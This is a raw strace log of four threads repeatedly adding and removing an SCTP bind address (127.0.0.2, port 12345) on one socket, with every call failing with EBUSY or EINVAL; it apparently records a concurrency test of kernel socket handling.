[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
